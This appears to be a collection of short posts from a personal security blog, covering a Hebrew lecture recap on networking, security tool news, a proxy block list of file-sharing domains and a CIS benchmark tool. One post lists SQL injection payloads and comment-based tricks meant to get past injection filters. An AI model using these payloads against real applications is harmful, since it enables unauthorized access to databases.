Netrworking וזמישות...

בשבוע שעבר נכחתי בהרצאה מעניינת מאד NETWORKING בארגון, בתוך מחלקת ה IT ובכלל בחיים.
בגדול מדובר על יצירת קשרים אנושיים והרחבת הרשת החברתית של האדם במטרה ליצור "בני ברית" ושותפים טובים להנעת תהליכים בחברה בפרט ובחיים האישיים בכלל. רשמתי לי כמה נקודות לזכור מההרצאה:

המונח: agile - ז מ י ש - זרירזות וגמישות : מדד היכולת לקבל ולבצע שינויים בצורה זריזה וע"י כך להתמודד בצורה תחרותית וגמישה בשוק המשתנה.

1. בכל מקום ובכל סיטואציה ניתן לעשות networking
2. networking עושים עם מי שלא מכירים:)
3. רוב האנשים חיים ב"בועת הנוחות שלהם" והפחד מהחדש או הדחיה מהחדש הם מה שמעקבים את ההתפתחות שלהם.
4. networking מתבצע ע"י נתינה קודם כל , אין לחפש רווח אישי מידי - זו טעות!
5. ע"י עשייה מרובה עבור האדם השני ,יכולה להווצר שותפות טובה ובן ברית לעתיד , יש לזכור שמחקרים מראים ששותפויות טובות אינם מבוססות על 50-50 אלא על עשייה " מעל ומעבר " והשקעה של1000% כל אחד בשני. מודל ה 50-50 ב95 אחוז מהמקרים קורס.
6. אחת הדרכים להתקדמות ושבירת "תקרת הזכוכית" התעסוקתית היא דרך networking מול אנשים בדרגים גבוהים ממחלקות אחרות או תחומים אחרים .

זה מה שאני זוכר כרגע , לדעתי אוכל לצריך כאן את המצגת בקרוב.

צ'או

.

or 1=1 replacements

here or some Simple replacments to Evoid SQL Injection filters



OR '1' = '1'
OR 1 = 1

OR 'unusual' = 'unusual'
OR 'Simple' = 'Sim' + 'ple'
OR 'Simple'= N'simple' # the N dosent make any diffrence
OR 'Simple' > 'S'
OR 'Simple' < 'X' OR 'Simple' LIKE 'Sim%' OR 2 > 1
OR 'Simple' IN ('Simple')
OR 'Simple' BETWEEN 'R' and 'T'
/**/OR/**/'Simple'='Simple'

play with spaces or drop them completely



UNION SELECT

To escape any filter that checks a UNION followed by spaces and then the work SELECT –we can use a C like comment syntax available for most of DB's

UNION /**/ SELECT name…
/**/UNION/**/SELECT/**/name…

For ORACLE use:
'/**/OR/**/'Simple'='Simple'

For MySql use:

UN/**/ION/**/ SE/**/LECT/**

nmap & backtrack new versions

nmap 4.50 version has been released ,now including the Zenmap GUI that support all of nmap features .including a lot of bug fixing and support for new scripts.

BackTrack 3 beta has been released - including 900MB extended usb version and a strip down CD version , added drivers for many wifi cards and much more pen test fun stuff!

Guss Christmas gonna be fun after all :)

Got my CEH certification!

Direct HTTP downloads file sites: the new P2P secret?

Direct HTTP downloads file sites: the new P2P secret?

Well, every security administrator now days is blocking the P2P traffic in his organization.
but are the blocking HTTP downloads? No.
The P2P file sharing community has shifted to a more fast and transparent approach by going back to the good old fashion Direct HTTP downloads.
Sites like rapidshare.com and megaupload.com are now giving the ability to upload everything to their servers - like a huge open file server on the Internet.
People are now uploading their favorites MP3s, movies, and cracked software to these server and posting the link to the file on their favorites FORUMS.
Some of them even upload those files with PASSWORD PROTECTION and they will publish the link+password to the registered FORUM members.

here are some of the major URLs/Domains you should consider blocking at your PROXY level in your organization:

*.rapidshare
*.megaupload
*.myfiles.co.il

*.israfiles
*.fileflyer
*.maxfiles
*.megshares.com

*.flyupload.com

*.file27.com

*.download-mirror.net
*.netload.in
*.myup.biz

*.w.eatlime.com

*.yastorage.com/
*.a2zuploads.com
*.badongo.com
*.mihd.net
*.uploaded.to

*.depositfiles
*.zshare.net
*.filefactory
unlimit

pir.co.il

megavideo.com

unlimit

runningfile

fileflyer

bitroad

axifile

-- \\\\ (o>(o> //\_(()__ _V_/_____ tzvi.cooper

Cleaning up trash files and package's from your ubuntu pc

need some Cleaning up trash files and package's from your ubuntu pc?

here is a nice how to article:

http://www.ubuntugeek.com/cleaning-up-all-unnecessary-junk-files-in-ubuntu.html

have fun cleaning

CIS Next Generation Scoring Tool for security

a free security benchmark tools is being offered by the center of Internet security
this tools are used by the national homeland security in the US.

it provides benchmarking for:
windows 2003,xp,200
linux suse,radhat
applications: exchange2003 ,IIS,MS SQL2000,2005
new!
benchmark for vmware stations!

check it out


"CIS Scoring Tools enable end users to compare the configuration of their operating systems, applications and network devices with the technical control recommendations in the CIS Benchmarks. The Tools verify the security configuration of systems prior to network deployment, monitor systems and network devices for ongoing conformity with the benchmarks, and demonstrate to auditors and business partners their compliance with the internationally accepted standard for security configuration. The Tools are host-based and produce reports that guide users in securing installations and production systems"